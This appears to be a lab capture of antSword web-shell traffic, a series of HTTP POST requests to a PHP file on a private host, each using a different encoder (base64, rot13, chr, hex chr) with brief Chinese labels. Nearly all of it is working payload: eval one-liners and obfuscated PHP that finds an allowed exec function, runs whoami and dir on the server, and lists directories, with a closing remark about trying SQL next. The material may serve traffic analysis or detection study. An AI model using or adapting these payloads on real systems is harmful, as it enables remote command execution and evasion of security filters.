@ini_set("display_errors", "0");@set_time_limit(0);echo "32712";$p=base64_decode($_POST["0xddc3f3c0675db"]);$s=base64_decode($_POST["0x1c1587765dab7"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runcmd($c){$ret=0;if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif (fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp, 2048));}@pclose($fp);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;echo "e1bd8";die();
----------------------------705717352973578568091136
Content-Disposition: form-data; name="0x1c1587765dab7"

Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd
----------------------------705717352973578568091136
Content-Disposition: form-data; name="0xddc3f3c0675db"

Y21k
----------------------------705717352973578568091136--

随机模式

POST /11.php HTTP/1.1
Host: 192.168.1.46
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.0
content-type: multipart/form-data; boundary=--------------------------486493062879705054027654
Content-Length: 1511
Connection: close

----------------------------486493062879705054027654
Content-Disposition: form-data; name="1"

@eval(@str_rot13($_POST[_0x38d0aac671656]));
----------------------------486493062879705054027654
Content-Disposition: form-data; name="0x54fad60427451"

Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd
----------------------------486493062879705054027654
Content-Disposition: form-data; name="0x5c13907b4f5c5"

Y21k
----------------------------486493062879705054027654
Content-Disposition: form-data; name="_0x38d0aac671656"

@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);rpub "08qrp";$c=onfr64_qrpbqr($_CBFG["0k5p13907o4s5p5"]);$f=onfr64_qrpbqr($_CBFG["0k54snq60427451"]);$q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);$p=fhofge($q,0,1)=="/"?"-p \"{$f}\"":"/p \"{$f}\"";$e="{$c} {$p}";shapgvba sr($s){$q=rkcybqr(",",@vav_trg("qvfnoyr_shapgvbaf"));vs(rzcgl($q)){$q=neenl();}ryfr{$q=neenl_znc('gevz',neenl_znc('fgegbybjre',$q));}erghea(shapgvba_rkvfgf($s)&&vf_pnyynoyr($s)&&!va_neenl($s,$q));};shapgvba ehapzq($p){$erg=0;vs(sr('flfgrz')){@flfgrz($p,$erg);}ryfrvs(sr('cnffgueh')){@cnffgueh($p,$erg);}ryfrvs(sr('furyy_rkrp')){cevag(@furyy_rkrp($p));}ryfrvs(sr('rkrp')){@rkrp($p,$b,$erg);cevag(wbva("
",$b));}ryfrvs (sr('cbcra')){$sc=@cbcra($p,'e');juvyr(!@srbs($sc)){cevag(@strgf($sc, 2048));}@cpybfr($sc);}ryfr{$erg = 127;}erghea $erg;};$erg=@ehapzq($e." 2>&1");cevag ($erg!=0)?"erg={$erg}":"";;rpub "19276";qvr();
----------------------------486493062879705054027654--

Base64 

POST /11.php HTTP/1.1
Host: 192.168.1.46
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.0
content-type: multipart/form-data; boundary=--------------------------920980492824534159421648
Content-Length: 1811
Connection: close

----------------------------920980492824534159421648
Content-Disposition: form-data; name="1"

@eval(@base64_decode($_POST[_0x7a2aa04c99e39]));
----------------------------920980492824534159421648
Content-Disposition: form-data; name="0x112ace866fba6"

Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd
----------------------------920980492824534159421648
Content-Disposition: form-data; name="0x9ed095c49f523"

Y21k
----------------------------920980492824534159421648
Content-Disposition: form-data; name="_0x7a2aa04c99e39"

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZWNobyAiYjM3MWQiOyRwPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyIweDllZDA5NWM0OWY1MjMiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbIjB4MTEyYWNlODY2ZmJhNiJdKTskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7JHI9InskcH0geyRjfSI7ZnVuY3Rpb24gZmUoJGYpeyRkPWV4cGxvZGUoIiwiLEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKTtpZihlbXB0eSgkZCkpeyRkPWFycmF5KCk7fWVsc2V7JGQ9YXJyYXlfbWFwKCd0cmltJyxhcnJheV9tYXAoJ3N0cnRvbG93ZXInLCRkKSk7fXJldHVybihmdW5jdGlvbl9leGlzdHMoJGYpJiZpc19jYWxsYWJsZSgkZikmJiFpbl9hcnJheSgkZiwkZCkpO307ZnVuY3Rpb24gcnVuY21kKCRjKXskcmV0PTA7aWYoZmUoJ3N5c3RlbScpKXtAc3lzdGVtKCRjLCRyZXQpO31lbHNlaWYoZmUoJ3Bhc3N0aHJ1Jykpe0BwYXNzdGhydSgkYywkcmV0KTt9ZWxzZWlmKGZlKCdzaGVsbF9leGVjJykpe3ByaW50KEBzaGVsbF9leGVjKCRjKSk7fWVsc2VpZihmZSgnZXhlYycpKXtAZXhlYygkYywkbywkcmV0KTtwcmludChqb2luKCIKIiwkbykpO31lbHNlaWYgKGZlKCdwb3BlbicpKXskZnA9QHBvcGVuKCRjLCdyJyk7d2hpbGUoIUBmZW9mKCRmcCkpe3ByaW50KEBmZ2V0cygkZnAsIDIwNDgpKTt9QHBjbG9zZSgkZnApO31lbHNleyRyZXQgPSAxMjc7fXJldHVybiAkcmV0O307JHJldD1AcnVuY21kKCRyLiIgMj4mMSIpO3ByaW50ICgkcmV0IT0wKT8icmV0PXskcmV0fSI6IiI7O2VjaG8gIjRmYmZlIjtkaWUoKTs=
----------------------------920980492824534159421648--

Chr 模式

POST /11.php HTTP/1.1
Host: 192.168.1.46
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.0
content-type: multipart/form-data; boundary=--------------------------476837918603096221372219
Content-Length: 4168
Connection: close

----------------------------476837918603096221372219
Content-Disposition: form-data; name="1"

@eVAl(cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(100).ChR(105).ChR(115).ChR(112).ChR(108).ChR(97).ChR(121).ChR(95).ChR(101).ChR(114).ChR(114).ChR(111).ChR(114).ChR(115).ChR(34).ChR(44).ChR(32).ChR(34).ChR(48).ChR(34).ChR(41).ChR(59).ChR(64).ChR(115).ChR(101).ChR(116).ChR(95).ChR(116).ChR(105).ChR(109).ChR(101).ChR(95).ChR(108).ChR(105).ChR(109).ChR(105).ChR(116).ChR(40).ChR(48).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(55).ChR(99).ChR(99).ChR(56).ChR(98).ChR(34).ChR(59).ChR(36).ChR(68).ChR(61).ChR(98).ChR(97).ChR(115).ChR(101).ChR(54).ChR(52).ChR(95).ChR(100).ChR(101).ChR(99).ChR(111).ChR(100).ChR(101).ChR(40).ChR(36).ChR(95).ChR(80).ChR(79).ChR(83).ChR(84).ChR(91).ChR(34).ChR(48).ChR(120).ChR(56).ChR(99).ChR(100).ChR(49).ChR(100).ChR(102).ChR(55).ChR(51).ChR(55).ChR(102).ChR(54).ChR(98).ChR(55).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(70).ChR(61).ChR(64).ChR(111).ChR(112).ChR(101).ChR(110).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(68).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(36).ChR(70).ChR(61).ChR(61).ChR(78).ChR(85).ChR(76).ChR(76).ChR(41).ChR(123).ChR(101).ChR(99).ChR(104).ChR(111).ChR(40).ChR(34).ChR(69).ChR(82).ChR(82).ChR(79).ChR(82).ChR(58).ChR(47).ChR(47).ChR(32).ChR(80).ChR(97).ChR(116).ChR(104).ChR(32).ChR(78).ChR(111).ChR(116).ChR(32).ChR(70).ChR(111).ChR(117).ChR(110).ChR(100).ChR(32).ChR(79).ChR(114).ChR(32).ChR(78).ChR(111).ChR(32).ChR(80).ChR(101).ChR(114).ChR(109).ChR(105).ChR(115).ChR(115).ChR(105).ChR(111).ChR(110).ChR(33).ChR(34).ChR(41).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(123).ChR(36).ChR(77).ChR(61).ChR(78).ChR(85).ChR(76).ChR(76).ChR(59).ChR(36).ChR(76).ChR(61).ChR(78).ChR(85).ChR(76).ChR(76).ChR(59).ChR(119).ChR(104).ChR(105).ChR(108).ChR(101).ChR(40).ChR(36).ChR(78).ChR(61).ChR(64).ChR(114).ChR(101).ChR(97).ChR(100).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(70).ChR(41).ChR(41).ChR(123).ChR(36).ChR(80).ChR(61).ChR(36).ChR(68).ChR(46).ChR(36).ChR(78).ChR(59).ChR(36).ChR(84).ChR(61).ChR(64).ChR(100).ChR(97).ChR(116).ChR(101).ChR(40).ChR(34).ChR(89).ChR(45).ChR(109).ChR(45).ChR(100).ChR(32).ChR(72).ChR(58).ChR(105).ChR(58).ChR(115).ChR(34).ChR(44).ChR(64).ChR(102).ChR(105).ChR(108).ChR(101).ChR(109).ChR(116).ChR(105).ChR(109).ChR(101).ChR(40).ChR(36).ChR(80).ChR(41).ChR(41).ChR(59).ChR(64).ChR(36).ChR(69).ChR(61).ChR(115).ChR(117).ChR(98).ChR(115).ChR(116).ChR(114).ChR(40).ChR(98).ChR(97).ChR(115).ChR(101).ChR(95).ChR(99).ChR(111).ChR(110).ChR(118).ChR(101).ChR(114).ChR(116).ChR(40).ChR(64).ChR(102).ChR(105).ChR(108).ChR(101).ChR(112).ChR(101).ChR(114).ChR(109).ChR(115).ChR(40).ChR(36).ChR(80).ChR(41).ChR(44).ChR(49).ChR(48).ChR(44).ChR(56).ChR(41).ChR(44).ChR(45).ChR(52).ChR(41).ChR(59).ChR(36).ChR(82).ChR(61).ChR(34).ChR(9).ChR(34).ChR(46).ChR(36).ChR(84).ChR(46).ChR(34).ChR(9).ChR(34).ChR(46).ChR(64).ChR(102).ChR(105).ChR(108).ChR(101).ChR(115).ChR(105).ChR(122).ChR(101).ChR(40).ChR(36).ChR(80).ChR(41).ChR(46).ChR(34).ChR(9).ChR(34).ChR(46).ChR(36).ChR(69).ChR(46).ChR(34).ChR(10).ChR(34).ChR(59).ChR(105).ChR(102).ChR(40).ChR(64).ChR(105).ChR(115).ChR(95).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(80).ChR(41).ChR(41).ChR(36).ChR(77).ChR(46).ChR(61).ChR(36).ChR(78).ChR(46).ChR(34).ChR(47).ChR(34).ChR(46).ChR(36).ChR(82).ChR(59).ChR(101).ChR(108).ChR(115).ChR(101).ChR(32).ChR(36).ChR(76).ChR(46).ChR(61).ChR(36).ChR(78).ChR(46).ChR(36).ChR(82).ChR(59).ChR(125).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(36).ChR(77).ChR(46).ChR(36).ChR(76).ChR(59).ChR(64).ChR(99).ChR(108).ChR(111).ChR(115).ChR(101).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(70).ChR(41).ChR(59).ChR(125).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(55).ChR(55).ChR(52).ChR(49).ChR(48).ChR(34).ChR(59).ChR(100).ChR(105).ChR(101).ChR(40).ChR(41).ChR(59));
----------------------------476837918603096221372219
Content-Disposition: form-data; name="0x8cd1df737f6b7"

QzovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3BocE15QWRtaW4v
----------------------------476837918603096221372219--

Chr16

POST /11.php HTTP/1.1
Host: 192.168.1.46
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.0
content-type: multipart/form-data; boundary=--------------------------064405078172668396849813
Content-Length: 9314
Connection: close

----------------------------064405078172668396849813
Content-Disposition: form-data; name="1"

@eVAl(cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x70).ChR(0x6c).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x65).ChR(0x72).ChR(0x72).ChR(0x6f).ChR(0x72).ChR(0x73).ChR(0x22).ChR(0x2c).ChR(0x20).ChR(0x22).ChR(0x30).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x40).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x74).ChR(0x69).ChR(0x6d).ChR(0x65).ChR(0x5f).ChR(0x6c).ChR(0x69).ChR(0x6d).ChR(0x69).ChR(0x74).ChR(0x28).ChR(0x30).ChR(0x29).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x33).ChR(0x65).ChR(0x33).ChR(0x66).ChR(0x63).ChR(0x22).ChR(0x3b).ChR(0x24).ChR(0x70).ChR(0x3d).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x64).ChR(0x65).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x50).ChR(0x4f).ChR(0x53).ChR(0x54).ChR(0x5b).ChR(0x22).ChR(0x30).ChR(0x78).ChR(0x61).ChR(0x34).ChR(0x61).ChR(0x35).ChR(0x33).ChR(0x35).ChR(0x35).ChR(0x30).ChR(0x36).ChR(0x33).ChR(0x33).ChR(0x65).ChR(0x31).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x73).ChR(0x3d).ChR(0x62).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x36).ChR(0x34).ChR(0x5f).ChR(0x64).ChR(0x65).ChR(0x63).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x50).ChR(0x4f).ChR(0x53).ChR(0x54).ChR(0x5b).ChR(0x22).ChR(0x30).ChR(0x78).ChR(0x39).ChR(0x37).ChR(0x36).ChR(0x64).ChR(0x62).ChR(0x39).ChR(0x34).ChR(0x37).ChR(0x66).ChR(0x38).ChR(0x38).ChR(0x66).ChR(0x38).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x64).ChR(0x69).ChR(0x72).ChR(0x6e).ChR(0x61).ChR(0x6d).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x53).ChR(0x45).ChR(0x52).ChR(0x56).ChR(0x45).ChR(0x52).ChR(0x5b).ChR(0x22).ChR(0x53).ChR(0x43).ChR(0x52).ChR(0x49).ChR(0x50).ChR(0x54).ChR(0x5f).ChR(0x46).ChR(0x49).ChR(0x4c).ChR(0x45).ChR(0x4e).ChR(0x41).ChR(0x4d).ChR(0x45).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x63).ChR(0x3d).ChR(0x73).ChR(0x75).ChR(0x62).ChR(0x73).ChR(0x74).ChR(0x72).ChR(0x28).ChR(0x24).ChR(0x64).ChR(0x2c).ChR(0x30).ChR(0x2c).ChR(0x31).ChR(0x29).ChR(0x3d).ChR(0x3d).ChR(0x22).ChR(0x2f).ChR(0x22).ChR(0x3f).ChR(0x22).ChR(0x2d).ChR(0x63).ChR(0x20).ChR(0x5c).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x73).ChR(0x7d).ChR(0x5c).ChR(0x22).ChR(0x22).ChR(0x3a).ChR(0x22).ChR(0x2f).ChR(0x63).ChR(0x20).ChR(0x5c).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x73).ChR(0x7d).ChR(0x5c).ChR(0x22).ChR(0x22).ChR(0x3b).ChR(0x24).ChR(0x72).ChR(0x3d).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x70).ChR(0x7d).ChR(0x20).ChR(0x7b).ChR(0x24).ChR(0x63).ChR(0x7d).ChR(0x22).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x65).ChR(0x78).ChR(0x70).ChR(0x6c).ChR(0x6f).ChR(0x64).ChR(0x65).ChR(0x28).ChR(0x22).ChR(0x2c).ChR(0x22).ChR(0x2c).ChR(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x61).ChR(0x62).ChR(0x6c).ChR(0x65).ChR(0x5f).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x73).ChR(0x22).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x65).ChR(0x6d).ChR(0x70).ChR(0x74).ChR(0x79).ChR(0x28).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x7b).ChR(0x24).ChR(0x64).ChR(0x3d).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x6d).ChR(0x61).ChR(0x70).ChR(0x28).ChR(0x27).ChR(0x74).ChR(0x72).ChR(0x69).ChR(0x6d).ChR(0x27).ChR(0x2c).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x6d).ChR(0x61).ChR(0x70).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x74).ChR(0x72).ChR(0x74).ChR(0x6f).ChR(0x6c).ChR(0x6f).ChR(0x77).ChR(0x65).ChR(0x72).ChR(0x27).ChR(0x2c).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x28).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x69).ChR(0x73).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x26).ChR(0x26).ChR(0x69).ChR(0x73).ChR(0x5f).ChR(0x63).ChR(0x61).ChR(0x6c).ChR(0x6c).ChR(0x61).ChR(0x62).ChR(0x6c).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x29).ChR(0x26).ChR(0x26).ChR(0x21).ChR(0x69).ChR(0x6e).ChR(0x5f).ChR(0x61).ChR(0x72).ChR(0x72).ChR(0x61).ChR(0x79).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x2c).ChR(0x24).ChR(0x64).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x72).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x6d).ChR(0x64).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x30).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x73).ChR(0x79).ChR(0x73).ChR(0x74).ChR(0x65).ChR(0x6d).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x70).ChR(0x61).ChR(0x73).ChR(0x73).ChR(0x74).ChR(0x68).ChR(0x72).ChR(0x75).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x70).ChR(0x61).ChR(0x73).ChR(0x73).ChR(0x74).ChR(0x68).ChR(0x72).ChR(0x75).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x73).ChR(0x68).ChR(0x65).ChR(0x6c).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x40).ChR(0x73).ChR(0x68).ChR(0x65).ChR(0x6c).ChR(0x6c).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x40).ChR(0x65).ChR(0x78).ChR(0x65).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x24).ChR(0x6f).ChR(0x2c).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x6a).ChR(0x6f).ChR(0x69).ChR(0x6e).ChR(0x28).ChR(0x22).ChR(0xa).ChR(0x22).ChR(0x2c).ChR(0x24).ChR(0x6f).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x69).ChR(0x66).ChR(0x20).ChR(0x28).ChR(0x66).ChR(0x65).ChR(0x28).ChR(0x27).ChR(0x70).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x27).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x3d).ChR(0x40).ChR(0x70).ChR(0x6f).ChR(0x70).ChR(0x65).ChR(0x6e).ChR(0x28).ChR(0x24).ChR(0x63).ChR(0x2c).ChR(0x27).ChR(0x72).ChR(0x27).ChR(0x29).ChR(0x3b).ChR(0x77).ChR(0x68).ChR(0x69).ChR(0x6c).ChR(0x65).ChR(0x28).ChR(0x21).ChR(0x40).ChR(0x66).ChR(0x65).ChR(0x6f).ChR(0x66).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x29).ChR(0x29).ChR(0x7b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x28).ChR(0x40).ChR(0x66).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x2c).ChR(0x20).ChR(0x32).ChR(0x30).ChR(0x34).ChR(0x38).ChR(0x29).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x40).ChR(0x70).ChR(0x63).ChR(0x6c).ChR(0x6f).ChR(0x73).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x66).ChR(0x70).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x20).ChR(0x3d).ChR(0x20).ChR(0x31).ChR(0x32).ChR(0x37).ChR(0x3b).ChR(0x7d).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x20).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x40).ChR(0x72).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x6d).ChR(0x64).ChR(0x28).ChR(0x24).ChR(0x72).ChR(0x2e).ChR(0x22).ChR(0x20).ChR(0x32).ChR(0x3e).ChR(0x26).ChR(0x31).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x70).ChR(0x72).ChR(0x69).ChR(0x6e).ChR(0x74).ChR(0x20).ChR(0x28).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x21).ChR(0x3d).ChR(0x30).ChR(0x29).ChR(0x3f).ChR(0x22).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x3d).ChR(0x7b).ChR(0x24).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x7d).ChR(0x22).ChR(0x3a).ChR(0x22).ChR(0x22).ChR(0x3b).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x64).ChR(0x61).ChR(0x32).ChR(0x63).ChR(0x62).ChR(0x22).ChR(0x3b).ChR(0x64).ChR(0x69).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b));
----------------------------064405078172668396849813
Content-Disposition: form-data; name="0x976db947f88f8"

Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd
----------------------------064405078172668396849813
Content-Disposition: form-data; name="0xa4a53550633e1"

Y21k
----------------------------064405078172668396849813--

Ro13

POST /11.php HTTP/1.1
Host: 192.168.1.46
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.0
content-type: multipart/form-data; boundary=--------------------------373152902339766627126123
Content-Length: 1509
Connection: close

----------------------------373152902339766627126123
Content-Disposition: form-data; name="1"

@eval(@str_rot13($_POST[_0xbed4e6239baec]));
----------------------------373152902339766627126123
Content-Disposition: form-data; name="0x4d5a5ad8853d"

Y2QgL2QgIkM6L3BocFN0dWR5L1BIUFR1dG9yaWFsL1dXVyImZGlyJmVjaG8gW1NdJmNkJmVjaG8gW0Vd
----------------------------373152902339766627126123
Content-Disposition: form-data; name="0xa0833138bd497"

Y21k
----------------------------373152902339766627126123
Content-Disposition: form-data; name="_0xbed4e6239baec"

@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);rpub "0pn56";$c=onfr64_qrpbqr($_CBFG["0kn0833138oq497"]);$f=onfr64_qrpbqr($_CBFG["0k4q5n5nq8853q"]);$q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);$p=fhofge($q,0,1)=="/"?"-p \"{$f}\"":"/p \"{$f}\"";$e="{$c} {$p}";shapgvba sr($s){$q=rkcybqr(",",@vav_trg("qvfnoyr_shapgvbaf"));vs(rzcgl($q)){$q=neenl();}ryfr{$q=neenl_znc('gevz',neenl_znc('fgegbybjre',$q));}erghea(shapgvba_rkvfgf($s)&&vf_pnyynoyr($s)&&!va_neenl($s,$q));};shapgvba ehapzq($p){$erg=0;vs(sr('flfgrz')){@flfgrz($p,$erg);}ryfrvs(sr('cnffgueh')){@cnffgueh($p,$erg);}ryfrvs(sr('furyy_rkrp')){cevag(@furyy_rkrp($p));}ryfrvs(sr('rkrp')){@rkrp($p,$b,$erg);cevag(wbva("
",$b));}ryfrvs (sr('cbcra')){$sc=@cbcra($p,'e');juvyr(!@srbs($sc)){cevag(@strgf($sc, 2048));}@cpybfr($sc);}ryfr{$erg = 127;}erghea $erg;};$erg=@ehapzq($e." 2>&1");cevag ($erg!=0)?"erg={$erg}":"";;rpub "q9808";qvr();
----------------------------373152902339766627126123--

如上是执行 了一个whoami 或者dir 命令。测试一两个sql语句尝试一下

